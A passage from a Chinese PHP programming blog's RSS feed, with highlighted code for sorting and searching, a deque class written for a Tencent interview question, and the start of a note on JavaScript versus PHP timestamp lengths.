#00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$c</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$j</span><span style="color: Gray;">=</span><span style="color: #00008b;">$i</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Gray;">;</span><span style="color: #00008b;">$j</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$c</span><span style="color: Gray;">;</span><span style="color: #00008b;">$j</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Olive;">]</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">])</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;"> ^= </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Olive;">]</span><span style="color: Gray;">; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Olive;">]</span><span style="color: Gray;"> ^=</span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;">; </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;"> ^= </span><span style="color: #00008b;">$arr</span><span style="color: Olive;">[</span><span style="color: #00008b;">$j</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$arr</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//var_dump(select_sort($arr));</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp;<br />&nbsp;<br /></span><span style="color: #ffa500;">/**二分查找（数组里查找某个元素）**/</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">bin_sch</span><span style="color: Olive;">(</span><span style="color: #00008b;">$array</span><span style="color: Gray;">, </span><span style="color: #00008b;">$low</span><span style="color: Gray;">, </span><span style="color: #00008b;">$high</span><span style="color: Gray;">, </span><span style="color: #00008b;">$k</span><span style="color: Olive;">){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$low</span><span style="color: Gray;"> &lt;= </span><span style="color: #00008b;">$high</span><span style="color: Olive;">){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$mid</span><span style="color: Gray;"> = </span><span style="color: Blue;">intval</span><span style="color: Olive;">((</span><span style="color: #00008b;">$low</span><span style="color: Gray;">+</span><span style="color: #00008b;">$high</span><span style="color: Olive;">)</span><span style="color: Gray;">/</span><span style="color: Maroon;">2</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$array</span><span style="color: Olive;">[</span><span style="color: #00008b;">$mid</span><span style="color: Olive;">]</span><span style="color: Gray;"> == </span><span style="color: #00008b;">$k</span><span style="color: Olive;">){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$mid</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Green;">elseif</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$k</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$array</span><span style="color: Olive;">[</span><span style="color: #00008b;">$mid</span><span style="color: Olive;">]){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">bin_sch</span><span style="color: Olive;">(</span><span style="color: #00008b;">$array</span><span style="color: Gray;">, </span><span style="color: #00008b;">$low</span><span style="color: Gray;">, </span><span style="color: #00008b;">$mid</span><span style="color: Gray;">-</span><span style="color: Maroon;">1</span><span style="color: Gray;">, </span><span style="color: #00008b;">$k</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">bin_sch</span><span style="color: Olive;">(</span><span style="color: #00008b;">$array</span><span style="color: Gray;">, </span><span style="color: #00008b;">$mid</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Gray;">, </span><span style="color: #00008b;">$high</span><span style="color: Gray;">, </span><span style="color: #00008b;">$k</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> -</span><span style="color: Maroon;">1</span><span style="color: Gray;">;&nbsp; <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;<br /></span><span style="color: #ffa500;">/**顺序查找（数组里查找某个元素） **/</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">seq_sch</span><span style="color: Olive;">(</span><span style="color: #00008b;">$array</span><span style="color: Gray;">, </span><span style="color: #00008b;">$n</span><span style="color: Gray;">, </span><span style="color: #00008b;">$k</span><span style="color: Olive;">){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$array</span><span style="color: Olive;">[</span><span style="color: #00008b;">$n</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$k</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">; </span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$n</span><span style="color: Gray;">; </span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$array</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;">==</span><span style="color: #00008b;">$k</span><span style="color: Olive;">){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">break</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: #00008b;">$n</span><span style="color: Olive;">){</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> -</span><span style="color: Maroon;">1</span><span style="color: Gray;">;&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br /></span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br />&nbsp;<br />&nbsp;<br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>PHP其实已经内置了很多有用的排序函数了，列举一下：</p>
<blockquote><p>
sort 对数组排序-重建键名 低->高<br />
rsort 对数组逆向排序-重建键名 高->低</p>
<p>asort 对数组排序并保持索引关系 低->高<br />
arsort 对数组进行逆向排序并保持索引关系 高->低</p>
<p>ksort 对数组按键名排序 低->高<br />
krsort 对数组按键名逆向排序 高->低</p>
<p>usort — 使用用户自定义的比较函数对数组中的值进行排序<br />
uksort — 使用用户自定义的比较函数对数组中的键名进行排序<br />
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 </p>
<p>natsort — 用“自然排序”算法对数组排序<br />
natcasesort — 用“自然排序”算法对数组进行不区分大小写字母的排序 </p>
<p>array_multisort — 对多个数组或多维数组进行排序,关联（string）键名保持不变，但数字键名会被重新索引。
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/php-sort-sch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用PHP实现一个双向队列-貌似是腾讯的一道笔试题</title>
		<link>http://www.ieliwb.com/php-push-pop/</link>
		<comments>http://www.ieliwb.com/php-push-pop/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 12:48:10 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[双向队列]]></category>
		<category><![CDATA[腾讯]]></category>

		<guid isPermaLink="false">http://localhost/wordpress/?p=140</guid>
		<description><![CDATA[<p>用PHP实现一个双向队列-腾讯笔试题？</p>
<blockquote><p>队列只能对头尾两个元素操作<br />
单向队列只能从头进，从尾出<br />
双向队列则头尾均可push,pop </p></blockquote>
<p>baidu和google上没有查到PHP双向队列的资料，搜索到java的双向队列定义如下：双向队列（双端队列）就像是一个队列，但是你可以在任何一端添加或移除元素。<br />
而[......]</p><p class='read-more'><a href='http://www.ieliwb.com/php-push-pop/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>用PHP实现一个双向队列-腾讯笔试题？</p>
<blockquote><p>队列只能对头尾两个元素操作<br />
单向队列只能从头进，从尾出<br />
双向队列则头尾均可push,pop </p></blockquote>
<p>baidu和google上没有查到PHP双向队列的资料，搜索到java的双向队列定义如下：双向队列（双端队列）就像是一个队列，但是你可以在任何一端添加或移除元素。<br />
而双端队列是一种数据结构，定义如下：<br />
A deque is a data structure consisting of a list of items, on which the following operations are possible.<br />
* push(D,X) — insert item X on the rear end of deque D.<br />
* pop(D) — remove the front item from the deque D and return it.<br />
* inject(D,X) — insert item X on the front end of deque D.<br />
* eject(D) — remove the rear item from the deque D and return it.<br />
Write routines to support the deque that take O(1) time per operation. </p>
<p>翻译：双端队列（deque）是由一些项的表组成的数据结构，对该数据结构可以进行下列操作：<br />
push(D,X) 将项X 插入到双端队列D的前端<br />
pop(D) 从双端队列D中删除前端项并将其返回<br />
inject(D,X) 将项X插入到双端队列D的尾端<br />
eject(D) 从双端队列D中删除尾端项并将其返回<br />
编写支持双端队伍的例程，每种操作均花费O（1）时间</p>
<p>百度百科：（deque，全名double-ended queue）是一种具有队列和栈的性质的数据结构。双端队列中的元素可以从两端弹出，其限定插入和删除操作在表的两端进行。</p>
<p>附我的解答程序：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">DoubleQueue</span><span style="color: Gray;">&nbsp; <br /></span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$queue</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**（尾部）入队&nbsp; **/</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">push</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">array_push</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Gray;">,</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**（尾部）出队**/</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">pop</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">array_pop</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**（头部）入队**/</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">enq</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">array_unshift</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Gray;">,</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**（头部）出队**/</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">deq</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">array_shift</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**清空队列**/</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">makeEmpty</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">DoubleDueue</span><span style="color: Gray;">&nbsp; <br /></span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: #00008b;">$queue</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">; <br />&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">push</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">[]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$value</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">pop</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$count</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">count</span><span style="color: Olive;">()</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$count</span><span style="color: Gray;"> &gt;= </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$value</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">[</span><span style="color: #00008b;">$count</span><span style="color: Gray;">-</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">[</span><span style="color: #00008b;">$count</span><span style="color: Gray;">-</span><span style="color: Maroon;">1</span><span style="color: Olive;">])</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$value</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">false</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">enq</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">/*不好做*/</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">deq</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">/*不好做*/</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">count</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">count</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">public</span><span style="color: Gray;"> </span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">makeEmpty</span><span style="color: Olive;">()</span><span style="color: Gray;">&nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">queue</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp; <br />&nbsp; <br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>貌似可以用php的四个函数解决：</p>
<blockquote><p>
array_push — 将一个或多个单元压入数组的末尾（入栈）<br />
array_unshift — 在数组开头插入一个或多个单元<br />
array_pop — 将数组最后一个单元弹出（出栈）<br />
array_shift — 将数组开头的单元移出数组
</p></blockquote>
<p>参考资料：</p>
<p>http://www.hiahia.org/datastructure/zhanhuoduilie/zhanhuoduilie3.2.1.htm</p>
<p>http://phpcup.cn/viewthread.php?tid=366</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/php-push-pop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>js的时间戳和php的时间戳转换需要注意的地方</title>
		<link>http://www.ieliwb.com/js-php-timestamp/</link>
		<comments>http://www.ieliwb.com/js-php-timestamp/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 12:30:54 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[Js/Css/Html/Xml]]></category>
		<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[时间戳]]></category>

		<guid isPermaLink="false">http://localhost/wordpress/?p=137</guid>
		<description><![CDATA[<p>由PHP传入JS处理的时间戳我说怎么老是对不上号呢，原来JS时间戳为13位，包含3位毫秒的，而PHP只有10位不包含毫秒的。看来得补补基础了。</p>
<p>附我的一个解决Comment发表时间的函数：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">&#60;</span><span style="color: Blue;">script</span><span style="color: Gray;">&#62; <br /></span><span style="color: Green;">var</span><span style="color: Gray;"> </span><span style="color: Blue;">nowtime</span><span style="color: Gray;"> = </span><span style="color: Olive;">(</span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Teal;">Date</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">getTime</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span><span style="color: #ffa500;">/*当前时[......]</span></div></div><p class='read-more'><a href='http://www.ieliwb.com/js-php-timestamp/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>由PHP传入JS处理的时间戳我说怎么老是对不上号呢，原来JS时间戳为13位，包含3位毫秒的，而PHP只有10位不包含毫秒的。看来得补补基础了。</p>
<p>附我的一个解决Comment发表时间的函数：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">&lt;</span><span style="color: Blue;">script</span><span style="color: Gray;">&gt; <br /></span><span style="color: Green;">var</span><span style="color: Gray;"> </span><span style="color: Blue;">nowtime</span><span style="color: Gray;"> = </span><span style="color: Olive;">(</span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Teal;">Date</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">getTime</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span><span style="color: #ffa500;">/*当前时间戳*/</span><span style="color: Gray;"> <br /></span><span style="color: #ffa500;">/*转换时间，计算差值*/</span><span style="color: Gray;"> <br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">comptime</span><span style="color: Olive;">(</span><span style="color: Blue;">beginTime</span><span style="color: Gray;">,</span><span style="color: Blue;">endTime</span><span style="color: Olive;">){</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;"> </span><span style="color: Blue;">secondNum</span><span style="color: Gray;"> = </span><span style="color: Blue;">parseInt</span><span style="color: Olive;">((</span><span style="color: Blue;">endTime</span><span style="color: Gray;">-</span><span style="color: Blue;">beginTime</span><span style="color: Gray;">*</span><span style="color: 